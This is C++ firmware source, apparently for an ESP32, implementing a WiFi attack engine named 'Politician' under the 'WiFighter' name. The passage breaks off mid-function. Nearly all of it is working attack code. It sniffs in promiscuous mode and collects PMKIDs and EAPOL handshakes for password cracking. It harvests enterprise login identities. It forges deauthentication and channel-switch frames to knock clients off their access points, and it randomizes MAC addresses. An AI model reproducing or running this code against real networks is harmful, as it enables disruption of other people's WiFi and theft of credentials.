11const uint8_t Politician::HOP_SEQ[] = {1, 6, 11, 2, 7, 3, 8, 4, 9, 5, 10, 12, 13};
12const uint8_t Politician::HOP_COUNT =
sizeof(HOP_SEQ) /
sizeof(HOP_SEQ[0]);
17 149, 153, 157, 161, 165
23 if (ch >= 1 && ch <= 14)
return true;
31 if ((ch >= 52 && ch <= 64) || (ch >= 100 && ch <= 144))
return true;
38 : _active(false), _channel(1), _rxChannel(1), _hopping(false),
39 _lastHopMs(0), _lastRssi(0), _hopIndex(0),
40 _m1Locked(false), _m1LockEndMs(0),
41 _probeLocked(false), _probeLockEndMs(0),
42 _customChannelCount(0),
43 _eapolCb(nullptr), _apFoundCb(nullptr), _filterCb(nullptr),
44 _logCb(nullptr), _ignoreCount(0),
46 _fishState(FISH_IDLE), _fishStartMs(0), _fishRetry(0),
47 _fishSsidLen(0), _fishChannel(1),
48 _fishAuthLogged(false), _fishAssocLogged(false),
49 _csaSecondBurstSent(false),
51 _hasTarget(false), _targetChannel(1),
55 memset(&_stats, 0,
sizeof(_stats));
56 memset(_sessions, 0,
sizeof(_sessions));
57 memset(_apCache, 0,
sizeof(_apCache));
58 memset(_captured, 0,
sizeof(_captured));
59 memset(_targetBssid, 0,
sizeof(_targetBssid));
60 memset(_fishBssid, 0,
sizeof(_fishBssid));
61 memset(_fishSsid, 0,
sizeof(_fishSsid));
62 memset(_ownStaMac, 0,
sizeof(_ownStaMac));
63 memset(_ignoreList, 0,
sizeof(_ignoreList));
67void Politician::_log(
const char *fmt, ...) {
71 vsnprintf(buf,
sizeof(buf), fmt, args);
84 wifi_init_config_t wifi_cfg = WIFI_INIT_CONFIG_DEFAULT();
86 if (esp_wifi_set_storage(WIFI_STORAGE_RAM) != ESP_OK)
return ERR_WIFI_INIT;
88 if (esp_wifi_set_mode(WIFI_MODE_APSTA) != ESP_OK)
return ERR_WIFI_INIT;
90 wifi_config_t ap_cfg = {};
91 const char *ap_ssid =
"WiFighter";
92 memcpy(ap_cfg.ap.ssid, ap_ssid, strlen(ap_ssid));
93 ap_cfg.ap.ssid_len = (uint8_t)strlen(ap_ssid);
94 ap_cfg.ap.ssid_hidden = 1;
95 ap_cfg.ap.max_connection = 4;
96 ap_cfg.ap.authmode = WIFI_AUTH_OPEN;
97 ap_cfg.ap.channel = 1;
98 ap_cfg.ap.beacon_interval = 1000;
99 if (esp_wifi_set_config(WIFI_IF_AP, &ap_cfg) != ESP_OK)
return ERR_WIFI_INIT;
103 esp_wifi_get_mac(WIFI_IF_STA, _ownStaMac);
104 _log(
"[WiFi] STA MAC: %02X:%02X:%02X:%02X:%02X:%02X\n",
105 _ownStaMac[0], _ownStaMac[1], _ownStaMac[2],
106 _ownStaMac[3], _ownStaMac[4], _ownStaMac[5]);
108 esp_log_level_set(
"wifi", ESP_LOG_NONE);
110 wifi_promiscuous_filter_t filt = {
111 .filter_mask = WIFI_PROMIS_FILTER_MASK_MGMT | WIFI_PROMIS_FILTER_MASK_DATA
113 if (esp_wifi_set_promiscuous_filter(&filt) != ESP_OK)
return ERR_WIFI_INIT;
114 if (esp_wifi_set_promiscuous(
true) != ESP_OK)
return ERR_WIFI_INIT;
115 if (esp_wifi_set_promiscuous_rx_cb(&_promiscuousCb) != ESP_OK)
return ERR_WIFI_INIT;
116 if (esp_wifi_set_channel(_channel, WIFI_SECOND_CHAN_NONE) != ESP_OK)
return ERR_WIFI_INIT;
118 _log(
"[WiFi] Ready — monitor mode ch%d\n", _channel);
125 _log(
"[WiFi] Capture %s\n", active ?
"ACTIVE" :
"IDLE");
132 esp_wifi_set_channel(_channel, WIFI_SECOND_CHAN_NONE);
142 _ignoreCount = (count > MAX_IGNORE) ? MAX_IGNORE : count;
143 for (uint8_t i = 0; i < _ignoreCount; i++) {
144 memcpy(_ignoreList[i], bssids[i], 6);
146 _log(
"[WiFi] Ignore list updated: %d BSSIDs\n", _ignoreCount);
150 for (
int i = 0; i < MAX_CAPTURED; i++) {
151 _captured[i].active =
false;
154 _log(
"[WiFi] Captured list cleared\n");
158 if (_isCaptured(bssid))
return;
159 int slot = _capturedCount % MAX_CAPTURED;
160 _captured[slot].active =
true;
161 memcpy(_captured[slot].bssid, bssid, 6);
163 _log(
"[Cap] Marked %02X:%02X:%02X:%02X:%02X:%02X — won't re-capture\n",
164 bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5]);
171 _lastHopMs = millis();
173 _log(
"[WiFi] Hopping started dwell=%dms\n", _cfg.
hop_dwell_ms);
183 _log(
"[WiFi] Attack mask: PMKID=%d CSA=%d PASSIVE=%d\n",
191 memcpy(_targetBssid, bssid, 6);
192 _targetChannel = channel;
195 for (
int i = 0; i < MAX_AP_CACHE; i++) {
196 if (_apCache[i].active && memcmp(_apCache[i].bssid, bssid, 6) == 0) {
197 _apCache[i].last_probe_ms = 0;
204 esp_wifi_set_channel(channel, WIFI_SECOND_CHAN_NONE);
206 _rxChannel = channel;
207 _log(
"[WiFi] Target → %02X:%02X:%02X:%02X:%02X:%02X ch%d\n",
208 bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5], channel);
215 memset(_targetBssid, 0, 6);
216 _log(
"[WiFi] Target cleared — wardriving mode\n");
220 if (count == 0 || channels ==
nullptr) {
221 _customChannelCount = 0;
223 _log(
"[WiFi] Channel list cleared — hopping all channels\n");
226 _customChannelCount = 0;
229 _customChannels[_customChannelCount++] = channels[i];
233 _log(
"[WiFi] Channel list set: %d channels\n", _customChannelCount);
240 static uint32_t lastDiagMs = 0;
241 uint32_t nowDiag = millis();
242 if (nowDiag - lastDiagMs >= 30000) {
243 lastDiagMs = nowDiag;
244 _log(
"[Stats] total=%lu mgmt=%lu data=%lu eapol=%lu pmkid=%lu caps=%lu aps=%d lock=%s\n",
245 (
unsigned long)_stats.
total, (
unsigned long)_stats.
mgmt,
246 (
unsigned long)_stats.
data, (
unsigned long)_stats.
eapol,
249 _probeLocked ?
"probe" : _m1Locked ?
"m1" :
"none");
252 if (!_hopping)
return;
253 uint32_t now = millis();
255 if (_probeLocked && _fishState == FISH_IDLE && now >= _probeLockEndMs) {
256 _probeLocked =
false;
260 if (_m1Locked && now >= _m1LockEndMs) {
265 bool locked = _m1Locked || _probeLocked || _hasTarget;
266 if (!locked && (now - _lastHopMs >= _cfg.
hop_dwell_ms)) {
267 const uint8_t *seq = (_customChannelCount > 0) ? _customChannels : HOP_SEQ;
268 uint8_t count = (_customChannelCount > 0) ? _customChannelCount : HOP_COUNT;
269 _hopIndex = (_hopIndex + 1) % count;
270 _channel = seq[_hopIndex];
271 esp_wifi_set_channel(_channel, WIFI_SECOND_CHAN_NONE);
278void IRAM_ATTR Politician::_promiscuousCb(
void *buf, wifi_promiscuous_pkt_type_t type) {
280 _instance->_handleFrame((
const wifi_promiscuous_pkt_t *)buf, type);
284void Politician::_handleFrame(
const wifi_promiscuous_pkt_t *pkt, wifi_promiscuous_pkt_type_t type) {
285 if (!_active)
return;
287 uint16_t sig_len = pkt->rx_ctrl.sig_len;
288 if (sig_len <
sizeof(ieee80211_hdr_t))
return;
291 _lastRssi = (int8_t)pkt->rx_ctrl.rssi;
292 _rxChannel = pkt->rx_ctrl.channel;
294 const ieee80211_hdr_t *hdr = (
const ieee80211_hdr_t *)pkt->payload;
295 uint16_t fc = hdr->frame_ctrl;
306 uint16_t hdr_len =
sizeof(ieee80211_hdr_t);
307 uint8_t subtype = fsub >> 4;
308 bool is_qos = (subtype >= 8 && subtype <= 11);
314 const uint8_t *llc = pkt->payload + hdr_len;
315 if (llc[0] == 0xAA && llc[1] == 0xAA && llc[2] == 0x03 &&
321 if (log_it) _packetCb(pkt->payload, sig_len, _lastRssi, pkt->rx_ctrl.timestamp);
327 uint16_t payload_off =
sizeof(ieee80211_hdr_t);
328 if (sig_len > payload_off) {
329 _handleMgmt(hdr, pkt->payload + payload_off, sig_len - payload_off, _lastRssi);
331 }
else if (type == WIFI_PKT_DATA && ftype ==
FC_TYPE_DATA) {
334 uint16_t hdr_len =
sizeof(ieee80211_hdr_t);
335 bool is_qos = (subtype >= 8 && subtype <= 11);
340 if (sig_len > hdr_len) {
341 _handleData(hdr, pkt->payload + hdr_len, sig_len - hdr_len, _lastRssi);
348void Politician::_handleMgmt(
const ieee80211_hdr_t *hdr,
const uint8_t *payload,
349 uint16_t len, int8_t rssi) {
357 if (!_apFoundCb || len < 12)
return;
359 const uint8_t *ie = payload + 12;
360 uint16_t ie_len = (len > 12) ? len - 12 : 0;
362 uint8_t beacon_ch = _rxChannel;
365 while (pos + 2 <= ie_len) {
366 uint8_t tag = ie[pos];
367 uint8_t tlen = ie[pos + 1];
368 if (pos + 2 + tlen > ie_len)
break;
369 if (tag == 3 && tlen == 1) { beacon_ch = ie[pos + 2];
break; }
375 memcpy(ap.bssid, hdr->addr3, 6);
376 ap.channel = beacon_ch;
378 _parseSsid(ie, ie_len, ap.ssid, ap.ssid_len);
379 ap.enc = _classifyEnc(ie, ie_len);
380 if (ap.enc == 0 && (hdr->frame_ctrl & 0x4000)) ap.enc = 1;
383 if (_filterCb && !_filterCb(ap))
return;
385 _cacheAp(ap.bssid, ap.ssid, ap.ssid_len, ap.enc, beacon_ch);
386 if (_apFoundCb) _apFoundCb(ap);
388 if (ap.ssid_len > 0 && beacon_ch > 0) {
389 if (_hasTarget && memcmp(_targetBssid, ap.bssid, 6) != 0)
return;
393 for (
int i = 0; i < MAX_AP_CACHE; i++) {
394 if (_apCache[i].active && memcmp(_apCache[i].bssid, ap.bssid, 6) == 0) {
395 if (!_apCache[i].has_active_clients && (millis() - _apCache[i].last_stimulate_ms > 15000)) {
396 _apCache[i].last_stimulate_ms = millis();
400 uint8_t wake_null[24] = {
401 0x48, 0x22, 0x00, 0x00,
402 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
403 ap.bssid[0], ap.bssid[1], ap.bssid[2], ap.bssid[3], ap.bssid[4], ap.bssid[5],
404 ap.bssid[0], ap.bssid[1], ap.bssid[2], ap.bssid[3], ap.bssid[4], ap.bssid[5],
407 esp_wifi_80211_tx(WIFI_IF_STA, wake_null,
sizeof(wake_null),
false);
408 _log(
"[Stimulate] Beacon-Sync Null Injection fired at %02X:%02X:%02X:%02X:%02X:%02X\n",
409 ap.bssid[0], ap.bssid[1], ap.bssid[2], ap.bssid[3], ap.bssid[4], ap.bssid[5]);
418 bool canFish = ap.enc >= 3 && ap.ssid_len > 0 && !_isCaptured(ap.bssid);
419 if (_hasTarget) canFish = canFish && memcmp(ap.bssid, _targetBssid, 6) == 0;
421 if (canFish && _fishState == FISH_IDLE) {
423 for (
int i = 0; i < MAX_AP_CACHE; i++) {
424 if (!_apCache[i].active)
continue;
425 if (memcmp(_apCache[i].bssid, ap.bssid, 6) != 0)
continue;
431 uint32_t throttle_ms = _hasTarget ? 0u
432 : _apCache[i].has_active_clients ? 15000u
434 uint32_t elapsed = millis() - _apCache[i].last_probe_ms;
435 if (elapsed >= throttle_ms) {
436 _apCache[i].last_probe_ms = millis();
437 _startFishing(ap.bssid, ap.ssid, ap.ssid_len, beacon_ch);
442 _fishState = FISH_CSA_WAIT;
443 _csaSecondBurstSent =
false;
444 if (_attackMask &
ATTACK_CSA) _sendCsaBurst();
446 memcpy(_fishBssid, ap.bssid, 6); memcpy(_fishSsid, ap.ssid, ap.ssid_len); _fishSsid[ap.ssid_len] =
'\0';
447 _fishSsidLen = ap.ssid_len; _fishChannel = beacon_ch; _fishStartMs = millis();
448 _probeLocked =
true; _probeLockEndMs = millis() + _cfg.
csa_wait_ms;
449 _log(
"[Attack] Starting CSA/Deauth on %02X:%02X:%02X:%02X:%02X:%02X SSID=%.*s ch%d\n",
450 ap.bssid[0], ap.bssid[1], ap.bssid[2], ap.bssid[3], ap.bssid[4], ap.bssid[5], ap.ssid_len, ap.ssid, beacon_ch);
454 }
else if (subtype == 0xB0) {
455 if (len >= 6 && !_fishAuthLogged) {
456 uint16_t auth_seq = ((uint16_t)payload[2]) | ((uint16_t)payload[3] << 8);
457 uint16_t status = ((uint16_t)payload[4]) | ((uint16_t)payload[5] << 8);
459 _fishAuthLogged =
true;
460 _log(
"[AuthResp] from %02X:%02X:%02X:%02X:%02X:%02X status=%d\n",
461 hdr->addr2[0], hdr->addr2[1], hdr->addr2[2],
462 hdr->addr2[3], hdr->addr2[4], hdr->addr2[5], status);
466 if (len < 6 || !_eapolCb)
return;
467 const uint8_t *ie = payload + 6;
468 uint16_t ie_len = (len > 6) ? len - 6 : 0;
469 const uint8_t *bssid = hdr->addr2;
470 const uint8_t *sta = hdr->addr1;
472 uint16_t status = ((uint16_t)payload[2]) | ((uint16_t)payload[3] << 8);
473 if (!_fishAssocLogged) {
474 _fishAssocLogged =
true;
475 _log(
"[AssocResp] from %02X:%02X:%02X:%02X:%02X:%02X status=%d\n",
476 bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5], status);
478 if (status != 0)
return;
481 while (pos + 2 <= ie_len) {
482 uint8_t tag = ie[pos];
483 uint8_t tlen = ie[pos + 1];
484 if (pos + 2 + tlen > ie_len)
break;
485 if (tag == 48 && tlen >= 20) {
486 const uint8_t *rsn = ie + pos + 2;
487 uint16_t rlen = tlen;
488 uint16_t off = 2; off += 4;
489 uint16_t pw_cnt = ((uint16_t)rsn[off]) | ((uint16_t)rsn[off+1] << 8);
490 off += 2 + pw_cnt * 4;
491 uint16_t akm_cnt = ((uint16_t)rsn[off]) | ((uint16_t)rsn[off+1] << 8);
492 off += 2 + akm_cnt * 4;
494 uint16_t pmkid_cnt = ((uint16_t)rsn[off]) | ((uint16_t)rsn[off+1] << 8);
496 if (pmkid_cnt > 0 && off + 16 <= rlen) {
498 HandshakeRecord rec; memset(&rec, 0,
sizeof(rec));
499 rec.type =
CAP_PMKID; rec.channel = _rxChannel; rec.rssi = rssi;
500 memcpy(rec.bssid, bssid, 6); memcpy(rec.sta, sta, 6);
501 _lookupSsid(bssid, rec.ssid, rec.ssid_len);
502 memcpy(rec.pmkid, rsn + off, 16);
503 _log(
"[PMKID] AssocResp BSSID=%02X:%02X:%02X:%02X:%02X:%02X\n",
504 bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5]);
505 _markCaptured(bssid); _markCapturedSsidGroup(rec.ssid, rec.ssid_len);
506 if (_eapolCb) _eapolCb(rec);
514void Politician::_handleData(
const ieee80211_hdr_t *hdr,
const uint8_t *payload,
515 uint16_t len, int8_t rssi) {
517 if (payload[0] != 0xAA || payload[1] != 0xAA || payload[2] != 0x03)
return;
518 if (payload[3] != 0x00 || payload[4] != 0x00 || payload[5] != 0x00)
return;
526 const uint8_t *bssid;
529 if (toDS && !fromDS) {
530 bssid = hdr->addr1; sta = hdr->addr2;
531 }
else if (!toDS && fromDS) {
532 bssid = hdr->addr2; sta = hdr->addr1;
534 bssid = hdr->addr3; sta = hdr->addr2;
540 if (eapol_len >= 4) {
541 if (eapol[1] == 0x00 && _identityCb !=
nullptr) {
543 _parseEapIdentity(bssid, sta, eapol, eapol_len, rssi);
544 }
else if (eapol[1] == 0x03) {
546 _parseEapol(bssid, sta, eapol, eapol_len, rssi);
551bool Politician::_parseEapol(
const uint8_t *bssid,
const uint8_t *sta,
552 const uint8_t *eapol, uint16_t len, int8_t rssi) {
553 if (_isCaptured(bssid))
return false;
554 if (len < 4 || eapol[1] != 0x03)
return false;
556 const uint8_t *key = eapol + 4;
557 uint16_t key_len = len - 4;
562 if (!is_pairwise)
return false;
570 if (msg == 0)
return false;
572 _log(
"[EAPOL] M%d from %02X:%02X:%02X:%02X:%02X:%02X ch=%d rssi=%d\n",
573 msg, bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5], _rxChannel, rssi);
575 if (msg == 3 || msg == 4) {
576 for (
int i = 0; i < MAX_AP_CACHE; i++) {
577 if (_apCache[i].active && memcmp(_apCache[i].bssid, bssid, 6) == 0) {
578 if (!_apCache[i].has_active_clients) {
579 _apCache[i].has_active_clients =
true;
580 _log(
"[Hot] Active client on %02X:%02X:%02X:%02X:%02X:%02X SSID=%s\n",
581 bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5], _apCache[i].ssid);
589 Session *sess = _findSession(bssid, sta);
590 if (!sess) sess = _createSession(bssid, sta);
591 if (!sess)
return false;
593 sess->channel = _rxChannel; sess->rssi = rssi;
596 bool isOurFishM1 = (_fishState != FISH_IDLE) && memcmp(bssid, _fishBssid, 6) == 0;
597 if (!isOurFishM1 && !(_attackMask &
ATTACK_PASSIVE))
return false;
603 if (_hopping && !_m1Locked) {
604 _probeLocked =
false; _m1Locked =
true;
607 if (_m1Locked && memcmp(sta, _ownStaMac, 6) != 0) _m1LockEndMs = millis() + _cfg.
m1_lock_ms;
612 for (uint16_t i = 0; i + 22 <= kdata_len; i++) {
613 if (kdata[i] == 0xDD && kdata[i+2] == 0x00 && kdata[i+3] == 0x0F && kdata[i+4] == 0xAC && kdata[i+5] == 0x04) {
615 HandshakeRecord rec; memset(&rec, 0,
sizeof(rec));
616 rec.type =
CAP_PMKID; rec.channel = _rxChannel; rec.rssi = rssi;
617 memcpy(rec.bssid, bssid, 6); memcpy(rec.sta, sta, 6);
618 memcpy(rec.ssid, sess->ssid,
sizeof(sess->ssid)); rec.ssid_len = sess->ssid_len;
619 memcpy(rec.pmkid, kdata + i + 6, 16);
620 _log(
"[PMKID] Found for %02X:%02X:%02X:%02X:%02X:%02X\n",
621 bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5]);
622 _markCaptured(bssid); _markCapturedSsidGroup(sess->ssid, sess->ssid_len);
623 if (_eapolCb) _eapolCb(rec);
628 }
else if (msg == 2) {
629 if (memcmp(sta, _ownStaMac, 6) == 0)
return false;
632 uint16_t store_len = (len < 256) ? len : 256;
633 memcpy(sess->eapol_m2, eapol, store_len); sess->eapol_m2_len = store_len;
636 bool is_new_m2 = !sess->has_m2;
640 HandshakeRecord rec; memset(&rec, 0,
sizeof(rec));
642 rec.channel = sess->channel; rec.rssi = sess->rssi;
643 memcpy(rec.bssid, bssid, 6); memcpy(rec.sta, sta, 6); memcpy(rec.ssid, sess->ssid, 33);
644 rec.ssid_len = sess->ssid_len; memcpy(rec.anonce, sess->anonce, 32);
645 memcpy(rec.mic, sess->mic, 16); memcpy(rec.eapol_m2, sess->eapol_m2, sess->eapol_m2_len);
646 rec.eapol_m2_len = sess->eapol_m2_len; rec.has_anonce =
true; rec.has_mic =
true;
647 _log(
"[EAPOL] Complete M1+M2 for %02X:%02X:%02X:%02X:%02X:%02X SSID=%s\n",
648 bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5], sess->ssid);
649 _stats.
captures++; _m1Locked =
false;
650 _markCaptured(bssid); _markCapturedSsidGroup(sess->ssid, sess->ssid_len);
651 if (_eapolCb) _eapolCb(rec);
652 sess->active =
false;
658void Politician::_parseEapIdentity(
const uint8_t *bssid,
const uint8_t *sta,
659 const uint8_t *eapol, uint16_t len, int8_t rssi) {
664 if (eapol[4] != 0x02)
return;
667 if (eapol[8] != 0x01)
return;
669 uint16_t eap_len = ((uint16_t)eapol[6] << 8) | eapol[7];
670 if (eap_len < 5)
return;
673 uint16_t id_len = eap_len - 5;
676 if (9 + id_len > len)
return;
678 EapIdentityRecord rec;
679 memset(&rec, 0,
sizeof(rec));
680 memcpy(rec.bssid, bssid, 6);
681 memcpy(rec.client, sta, 6);
682 rec.channel = _rxChannel;
685 uint16_t copy_len = (id_len < 64) ? id_len : 64;
686 memcpy(rec.identity, eapol + 9, copy_len);
687 rec.identity[copy_len] =
'\0';
689 _log(
"[Enterprise] Harvested Identity '%s' from %02X:%02X:%02X:%02X:%02X:%02X\n",
690 rec.identity, sta[0], sta[1], sta[2], sta[3], sta[4], sta[5]);
695void Politician::_parseSsid(
const uint8_t *ie, uint16_t ie_len,
char *out, uint8_t &out_len) {
696 out[0] =
'\0'; out_len = 0; uint16_t pos = 0;
697 while (pos + 2 <= ie_len) {
698 uint8_t tag = ie[pos]; uint8_t len = ie[pos + 1];
699 if (pos + 2 + len > ie_len)
break;
700 if (tag == 0 && len > 0 && len <= 32) {
701 memcpy(out, ie + pos + 2, len); out[len] =
'\0'; out_len = len;
return;
707uint8_t Politician::_classifyEnc(
const uint8_t *ie, uint16_t ie_len) {
708 bool has_rsn =
false, has_wpa =
false, is_enterprise =
false;
710 while (pos + 2 <= ie_len) {
711 uint8_t tag = ie[pos]; uint8_t len = ie[pos + 1];
712 if (pos + 2 + len > ie_len)
break;
719 uint16_t pw_count = (ie[pos+8] | (ie[pos+9] << 8));
720 uint16_t akm_offset = pos + 10 + (pw_count * 4);
722 if (akm_offset + 2 <= pos + 2 + len) {
723 uint16_t akm_count = (ie[akm_offset] | (ie[akm_offset + 1] << 8));
724 uint16_t list_offset = akm_offset + 2;
726 for (
int i=0; i < akm_count; i++) {
727 if (list_offset + 4 > pos + 2 + len)
break;
729 if (ie[list_offset] == 0x00 && ie[list_offset+1] == 0x0F && ie[list_offset+2] == 0xAC && ie[list_offset+3] == 0x01) {
730 is_enterprise =
true;
737 if (tag == 221 && len >= 4 && ie[pos+2]==0x00 && ie[pos+3]==0x50 && ie[pos+4]==0xF2 && ie[pos+5]==0x01) has_wpa =
true;
741 if (is_enterprise)
return 4;
742 return has_rsn ? 3 : (has_wpa ? 2 : 0);
745Politician::Session* Politician::_findSession(
const uint8_t *bssid,
const uint8_t *sta) {
746 for (
int i = 0; i < MAX_SESSIONS; i++) {
747 if (_sessions[i].active && memcmp(_sessions[i].bssid, bssid, 6) == 0 && memcmp(_sessions[i].sta, sta, 6) == 0)
return &_sessions[i];
752Politician::Session* Politician::_createSession(
const uint8_t *bssid,
const uint8_t *sta) {
753 for (
int i = 0; i < MAX_SESSIONS; i++) {
754 if (!_sessions[i].active) {
755 memset(&_sessions[i], 0,
sizeof(Session));
756 memcpy(_sessions[i].bssid, bssid, 6); memcpy(_sessions[i].sta, sta, 6);
757 _sessions[i].active =
true; _sessions[i].created_ms = millis();
758 _lookupSsid(bssid, _sessions[i].ssid, _sessions[i].ssid_len);
759 return &_sessions[i];
762 uint32_t oldest_ms = UINT32_MAX;
int oldest_idx = 0;
763 for (
int i = 0; i < MAX_SESSIONS; i++) {
764 if (_sessions[i].created_ms < oldest_ms) { oldest_ms = _sessions[i].created_ms; oldest_idx = i; }
766 memset(&_sessions[oldest_idx], 0,
sizeof(Session));
767 memcpy(_sessions[oldest_idx].bssid, bssid, 6); memcpy(_sessions[oldest_idx].sta, sta, 6);
768 _sessions[oldest_idx].active =
true; _sessions[oldest_idx].created_ms = millis();
769 _lookupSsid(bssid, _sessions[oldest_idx].ssid, _sessions[oldest_idx].ssid_len);
770 return &_sessions[oldest_idx];
773void Politician::_cacheAp(
const uint8_t *bssid,
const char *ssid, uint8_t ssid_len,
774 uint8_t enc, uint8_t channel,
bool is_wpa3_only) {
775 for (
int i = 0; i < MAX_AP_CACHE; i++) {
776 if (_apCache[i].active && memcmp(_apCache[i].bssid, bssid, 6) == 0) {
777 memcpy(_apCache[i].ssid, ssid, ssid_len + 1); _apCache[i].ssid_len = ssid_len;
778 _apCache[i].enc = enc; _apCache[i].channel = channel;
779 _apCache[i].is_wpa3_only = is_wpa3_only;
783 int slot = _apCacheCount % MAX_AP_CACHE;
784 _apCache[slot].active =
true; _apCache[slot].last_probe_ms = 0;
785 _apCache[slot].last_stimulate_ms = 0;
786 memcpy(_apCache[slot].bssid, bssid, 6); memcpy(_apCache[slot].ssid, ssid, ssid_len + 1);
787 _apCache[slot].ssid_len = ssid_len; _apCache[slot].enc = enc; _apCache[slot].channel = channel;
788 _apCache[slot].is_wpa3_only = is_wpa3_only;
792bool Politician::_lookupSsid(
const uint8_t *bssid,
char *out_ssid, uint8_t &out_len) {
793 for (
int i = 0; i < MAX_AP_CACHE; i++) {
794 if (_apCache[i].active && memcmp(_apCache[i].bssid, bssid, 6) == 0) {
795 memcpy(out_ssid, _apCache[i].ssid, _apCache[i].ssid_len + 1); out_len = _apCache[i].ssid_len;
return true;
798 out_ssid[0] =
'\0'; out_len = 0;
return false;
801bool Politician::_isCaptured(
const uint8_t *bssid)
const {
802 for (
int i = 0; i < _ignoreCount; i++)
if (memcmp(_ignoreList[i], bssid, 6) == 0)
return true;
803 for (
int i = 0; i < MAX_CAPTURED; i++)
if (_captured[i].active && memcmp(_captured[i].bssid, bssid, 6) == 0)
return true;
807void Politician::_sendDeauthBurst() {
808 uint8_t deauth[26] = {
809 0xC0, 0x00, 0x00, 0x00,
810 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
811 _fishBssid[0], _fishBssid[1], _fishBssid[2], _fishBssid[3], _fishBssid[4], _fishBssid[5],
812 _fishBssid[0], _fishBssid[1], _fishBssid[2], _fishBssid[3], _fishBssid[4], _fishBssid[5],
818 deauth[22] = (i << 4) & 0xFF;
819 esp_wifi_80211_tx(WIFI_IF_STA, deauth,
sizeof(deauth),
false);
822 _log(
"[Deauth] Sent Reason 7 burst on ch%d\n", _fishChannel);
825void Politician::_markCapturedSsidGroup(
const char *ssid, uint8_t ssid_len) {
826 if (ssid_len == 0)
return;
827 for (
int i = 0; i < MAX_AP_CACHE; i++) {
828 if (!_apCache[i].active || _apCache[i].ssid_len != ssid_len || memcmp(_apCache[i].ssid, ssid, ssid_len) != 0)
continue;
829 if (!_isCaptured(_apCache[i].bssid)) _markCaptured(_apCache[i].bssid);
833void Politician::_markCaptured(
const uint8_t *bssid) {
834 if (_isCaptured(bssid))
return;
835 int slot = _capturedCount % MAX_CAPTURED;
836 _captured[slot].active =
true; memcpy(_captured[slot].bssid, bssid, 6); _capturedCount++;
837 _log(
"[Cap] Marked %02X:%02X:%02X:%02X:%02X:%02X\n", bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5]);
840void Politician::_expireSessions(uint32_t timeoutMs) {
841 uint32_t now = millis();
842 for (
int i = 0; i < MAX_SESSIONS; i++)
if (_sessions[i].active && (now - _sessions[i].created_ms) > timeoutMs) _sessions[i].active =
false;
845void Politician::_randomizeMac() {
846 uint8_t mac[6]; uint32_t r1 = esp_random(), r2 = esp_random();
847 mac[0] = (uint8_t)((r1 & 0xFE) | 0x02); mac[1] = (uint8_t)(r1 >> 8); mac[2] = (uint8_t)(r1 >> 16);
848 mac[3] = (uint8_t)(r2); mac[4] = (uint8_t)(r2 >> 8); mac[5] = (uint8_t)(r2 >> 16);
849 esp_wifi_set_mac(WIFI_IF_STA, mac); memcpy(_ownStaMac, mac, 6);
850 _log(
"[Fish] MAC → %02X:%02X:%02X:%02X:%02X:%02X\n", mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]);
853void Politician::_startFishing(
const uint8_t *bssid,
const char *ssid, uint8_t ssid_len, uint8_t channel) {
854 if (_fishState != FISH_IDLE)
return;
855 _randomizeMac(); esp_wifi_set_channel(channel, WIFI_SECOND_CHAN_NONE); _channel = channel;
856 wifi_config_t sta_cfg = {}; memcpy(sta_cfg.sta.ssid, ssid, ssid_len);
857 memcpy(sta_cfg.sta.password,
"WiFighter00", 11); sta_cfg.sta.bssid_set =
true; memcpy(sta_cfg.sta.bssid, bssid, 6);
858 esp_wifi_set_config(WIFI_IF_STA, &sta_cfg); esp_wifi_connect();
859 memcpy(_fishBssid, bssid, 6); memcpy(_fishSsid, ssid, ssid_len); _fishSsid[ssid_len] =
'\0';
860 _fishSsidLen = ssid_len; _fishChannel = channel; _fishStartMs = millis();
861 _fishState = FISH_CONNECTING; _fishRetry = 0; _fishAuthLogged =
false; _fishAssocLogged =
false;
862 _probeLocked =
true; _probeLockEndMs = millis() + _cfg.
fish_timeout_ms;
863 _log(
"[Fish] → %02X:%02X:%02X:%02X:%02X:%02X SSID=%.*s\n", bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5], ssid_len, ssid);
866void Politician::_sendCsaBurst() {
867 uint8_t frame[100];
int p = 0;
868 frame[p++] = 0x80; frame[p++] = 0x00; frame[p++] = 0x00; frame[p++] = 0x00;
869 for (
int i = 0; i < 6; i++) frame[p++] = 0xFF; memcpy(frame + p, _fishBssid, 6); p += 6; memcpy(frame + p, _fishBssid, 6); p += 6;
870 frame[p++] = 0x00; frame[p++] = 0x00; memset(frame + p, 0, 8); p += 8;
871 frame[p++] = 0x64; frame[p++] = 0x00; frame[p++] = 0x31; frame[p++] = 0x04;
872 frame[p++] = 0x00; frame[p++] = _fishSsidLen; memcpy(frame + p, _fishSsid, _fishSsidLen); p += _fishSsidLen;
873 frame[p++] = 0x03; frame[p++] = 0x01; frame[p++] = _fishChannel;
874 frame[p++] = 0x25; frame[p++] = 0x03; frame[p++] = 0x01; frame[p++] = 0x0E; frame[p++] = 0x01;
875 for (
int i = 0; i < _cfg.
csa_beacon_count; i++) { esp_wifi_80211_tx(WIFI_IF_AP, frame, p,
false); delay(15); }
876 _log(
"[CSA] Sent burst on ch%d\n", _fishChannel);
879void Politician::_processFishing() {
880 if (_fishState == FISH_IDLE)
return;
881 if (_fishState == FISH_CSA_WAIT) {
882 if (_isCaptured(_fishBssid)) { _fishState = FISH_IDLE; _probeLocked =
false; _lastHopMs = millis(); _log(
"[CSA] Captured!\n");
return; }
883 if (!_csaSecondBurstSent && (millis() - _fishStartMs > 2000)) {
884 _csaSecondBurstSent =
true;
885 if (_attackMask &
ATTACK_CSA) _sendCsaBurst();
887 _log(
"[CSA] Burst 2\n");
889 if (millis() >= _probeLockEndMs) { _fishState = FISH_IDLE; _probeLocked =
false; _lastHopMs = millis(); _log(
"[CSA] Wait expired\n"); }
892 if (_isCaptured(_fishBssid)) { esp_wifi_disconnect(); _fishState = FISH_IDLE; _probeLocked =
false; _lastHopMs = millis(); _log(
